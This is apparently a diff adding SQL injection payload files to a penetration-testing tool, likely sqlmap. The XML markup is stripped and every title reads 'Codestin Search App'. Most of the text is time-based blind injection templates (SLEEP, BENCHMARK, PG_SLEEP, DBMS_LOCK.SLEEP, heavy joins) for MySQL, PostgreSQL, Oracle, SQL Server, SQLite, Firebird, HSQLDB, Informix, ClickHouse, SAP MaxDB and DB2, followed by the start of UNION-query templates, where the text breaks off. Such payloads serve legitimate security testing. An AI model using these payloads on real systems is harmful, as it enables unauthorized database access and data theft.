+ AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+
+
+
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 3
+ 1,9
+ 1
+ OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+
+
+
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,9
+ 1
+ AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+ --
+
+
+
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,9
+ 1
+ OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+ --
+
+
+
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+
+
+
+
+
+ SAP MaxDB
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+
+
+
+
+
+ SAP MaxDB
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+ --
+
+
+
+
+
+ SAP MaxDB
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+ --
+
+
+
+
+
+ SAP MaxDB
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 1
+ AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END
+
+ AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
+
+
+
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END
+
+ OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
+
+
+
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END
+
+ AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
+ --
+
+
+
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END
+
+ OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
+ --
+
+
+
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 1
+ AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END
+
+ AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+
+
+
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END
+
+ OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+
+
+
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END
+
+ AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+ --
+
+
+
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END
+
+ OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+ --
+
+
+
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+
+
+
+
+
+ Informix
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+
+
+
+
+
+ Informix
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+ --
+
+
+
+
+
+ Informix
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+ --
+
+
+
+
+
+ Informix
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 1
+ 1,2,3
+ 1
+ AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))
+
+ AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
+
+
+
+
+
+ ClickHouse
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3
+ 1
+ OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1)))
+
+ OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
+
+
+
+
+
+ ClickHouse
+
+
+
+
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 2
+ 1,2,3,4,5
+ 1
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1)
+
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1)
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,4,5
+ 1
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1)
+
+ PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1)
+ #
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 1
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 3
+ (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])
+
+ (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])
+
+
+
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 3
+ IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+
+
+
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 3
+ ([INFERENCE] AND SLEEP([SLEEPTIME]))
+
+ ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 1
+ 1,2,3,9
+ 3
+ ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 1
+ 1,2,3,9
+ 3
+ MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))
+
+ MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+
+
+
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+
+
+
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 1,3,9
+ 3
+ BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;
+
+ BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 1,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END))
+
+ (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))))
+
+
+
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 3
+ IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
+ (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
+
+
+
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,3,9
+ 3
+ (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ (SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
+
+
+
+
+
+ SAP MaxDB
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 3
+ (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+
+
+
+
+
+ IBM DB2
+
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
+
+
+
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))
+
+
+
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,2,3,9
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END)
+
+ (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
+
+
+
+
+
+ Informix
+
+
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
+
+
+
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))
+
+
+
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))
+
+
+
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 2,3
+ 1
+ ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)
+
+ ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
+ --
+
+
+
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 2,3
+ 1
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))
+
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))
+
+
+
+
+
+ HSQLDB
+ > 2.0
+
+
+
+
+
diff --git a/data/xml/payloads/union_query.xml b/data/xml/payloads/union_query.xml
new file mode 100644
index 0000000000..9513892faf
--- /dev/null
+++ b/data/xml/payloads/union_query.xml
@@ -0,0 +1,742 @@
+
+
+
+
+
+ Codestin Search App
+ 6
+ 1
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 1
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ [COLSTART]-[COLSTOP]
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 1
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 1-10
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 1
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 1-10
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 1-10
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [CHAR]
+ 11-20
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 2
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ NULL
+ 11-20
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
+ 3
+ 1
+ 1,2,3,4,5
+ 1
+ [UNION]
+
+
+ [GENERIC_SQL_COMMENT]
+ [RANDNUM]
+ 11-20
+
+
+
+
+
+
+
+ Codestin Search App
+ 6
